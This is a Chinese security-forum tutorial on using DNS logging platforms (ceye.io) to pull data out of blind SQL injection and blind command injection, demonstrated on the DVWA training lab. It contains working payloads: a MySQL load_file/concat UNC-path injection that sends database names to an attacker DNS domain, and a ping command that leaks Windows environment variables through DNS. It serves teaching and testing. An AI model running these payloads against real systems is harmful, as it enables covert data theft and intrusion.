利用DNSLOG獲取看不到的信息(給盲注帶上眼鏡)

一、前言

本文屬i春秋原創獎勵計劃,未經許可禁止轉載!

畢業設計總算搞得差不多了,這個心累啊。
這不,完成了學校的任務,趕緊回來給蛋總交作業。
今天給大家分享一個姿勢吧,不是什麼新東西,但比較少見——用DNS log來獲取回顯。

大家在滲透測試的時候可能會遇到一下這些情況:
  • 挖到一個有SQL盲注的站點,可是用sqlmap跑需要頻繁請求,最後導致ip被ban
  • 發現疑似命令注入的洞,但是目標站點什麼也不顯示,無法確認是不是有洞
總之就是目標不讓信息顯示出來,如果能發送請求,那麼就可以嘗試咱這個辦法——用DNS log來獲取回顯

二、正文

2.1   初探門路

DNS在解析的時候會留下日誌,咱們這個就是讀取多級域名的解析日誌,來獲取信息
簡單來說就是把信息放在高級域名中,傳遞到自己這,然後讀取日誌,獲取信息

例如我們自己的域名是:vk.org
那麼我們把信息放在二級域名處,textxxxxxx.vk.org
想方法發起這個域名解析請求,那麼那邊就能收到textxxxxxxx這個信息了。

如果沒有自己的vps,沒有相關條件怎麼辦?
網上也有不少這樣的dnslog平臺
這裏推薦一個免費的:http://ceye.io
註冊之後如圖
 
他會給你一個三級域名,你把信息寫在第四級域名上就好了
例如我這裏直接瀏覽器訪問:ichunqiu_vk.xxxx.ceye.io
 

顯示not found,沒關係回去doslog平臺看看:
 
可以看到信息傳進來了。


2.2  在SQL注入中的運用
 

這裏就使用 DVWA做環境了
他裏面就有盲注模塊,簡單來檢測注入點,
 
這裏不做解釋了,不懂的去看看我以前的sql注入帖子:
https://bbs.ichunqiu.com/thread-18284-1-1.html
可以看到,這裏存在注入點,可惜是盲注,無法看到詳細信息
盲注的利用方法,大家應該都知道,要麼用邏輯法,要麼用延時法
總之就是要一個字符一個字符去猜,要發送大量的get請求,


那麼這種行爲很容易被目標物理防火牆認定位是黑客行爲
最終導致IP被ban

如果利用dnsLog來獲取信息,既高效又避免這種情況發生
先看看效果:
 

 
成功獲取當前查詢的數據庫名稱。
是不是很方便

深入分析:

我們看看payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1)--+

首先用and拼接兩個條件,
if()函數用法:if((a=b),1,0),判斷a=b是否爲真,若真,則輸出第二個參數(即1),否則輸出低三個參數(即0)
而if在這裏並不重要。

重點在於 load_file()
放這幅圖,你們感受一下
 


load_file():
讀取文件並返回文件內容爲字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,而且必須有FILE權限。 該文件所有字節可讀,但文件內容必須小於max_allowed_packet。

這個函數也可以用來發送dns解析請求,這就是關鍵
利用payload是:load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))
concat是字符串拼接
綠色部分就是你要做SQL注入查詢的地方
天藍色就是你的dnslog平臺給你的域名
後面的abc可以改也可以不改,無所謂的,你樂意寫啥就寫啥


怎麼利用?
例如你要查看數據庫系統有什麼數據庫則把綠色部分改成:select schema_name from information_schema.schemata limit 0,1
要注意的是數據很可能不止一行,因此要用limit分次輸出
如圖:
 
因爲vk之前有做過測試,爲了和之前不一樣 我加了個-new
 
如圖,已經把第一行數據脫出來了,bwapp
接着第二行、第三行只需要修改limit 1,1 limit 2,1即可

這樣就能高效的進行盲注
就相當於給盲注帶上眼鏡

2.3  在命令注入中的運用
發現疑似命令注入的洞,但是目標站點什麼也不顯示,無法確認是不是有洞

如果是win系統,簡單的ping %os%.xxxx.cete.io 即可
 
這裏也是用dvwa的命令注入做演示
看看dnslog那邊:
 
得到了os的信息,那麼就說明這裏存在命令注入


這裏給大家一個win的常用變量吧

  • //變量                     類型       描述
  • //%ALLUSERSPROFILE%        本地       返回“所有用戶”配置文件的位置。
  • //%APPDATA%                本地       返回默認情況下應用程序存儲數據的位置。
  • //%CD%                     本地       返回當前目錄字符串。
  • //%CMDCMDLINE%             本地       返回用來啓動當前的 Cmd.exe 的準確命令行。
  • //%CMDEXTVERSION%          系統       返回當前的“命令處理程序擴展”的版本號。
  • //%COMPUTERNAME%           系統       返回計算機的名稱。
  • //%COMSPEC%                系統       返回命令行解釋器可執行程序的準確路徑。
  • //%DATE%                   系統       返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。
  • //%ERRORLEVEL%             系統       返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
  • //%HOMEDRIVE%              系統       返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
  • //%HOMEPATH%               系統       返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
  • //%HOMESHARE%              系統       返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
  • //%LOGONSERVER%            本地       返回驗證當前登錄會話的域控制器的名稱。
  • //%NUMBER_OF_PROCESSORS%   系統       指定安裝在計算機上的處理器的數目。
  • //%OS%                     系統       返回操作系統名稱。Windows 2000 顯示其操作系統爲 Windows_NT。
  • //%PATH%                   系統       指定可執行文件的搜索路徑。
  • //%PATHEXT%                系統       返回操作系統認爲可執行的文件擴展名的列表。
  • //%PROCESSOR_ARCHITECTURE% 系統       返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。
  • //%PROCESSOR_IDENTFIER%    系統       返回處理器說明。
  • //%PROCESSOR_LEVEL%        系統       返回計算機上安裝的處理器的型號。
  • //%PROCESSOR_REVISION%     系統       返回處理器的版本號。
  • //%PROMPT%                 本地       返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
  • //%RANDOM%                 系統       返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
  • //%SYSTEMDRIVE%            系統       返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。
  • //%SYSTEMROOT%             系統       返回 Windows server operating system 根目錄的位置。
  • //%TEMP%和%TMP%            系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
  • //%TIME%                   系統       返回當前時間。使用與                                                                                   time       /t                                                                     命令相同的格式。由         Cmd.exe                  生成。有關                       time   命令的詳細信息,請參閱 Time。
  • //%USERDOMAIN%             本地       返回包含用戶帳戶的域的名稱。
  • //%USERNAME%               本地       返回當前登錄的用戶的名稱。
  • //%USERPROFILE%            本地       返回當前用戶的配置文件的位置。
  • //%WINDIR%                 系統       返回操作系統目錄的位置。

如果目標系統是linux的話,則可用用shell語言來挑選,那就更加方便了
兩幅圖 自己感受一下:

 
 
第一個是查出該系統用戶使用最多的命令,第二個則是使用第二多的命令

 

分別是figlet和ls

三、結束語

學無止境,誠惶誠恐,這個dnslog真能算一個小神器
吐司上也有這樣的平臺,但不太好使,問了問管理 他說湊活用吧。。。。。


 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章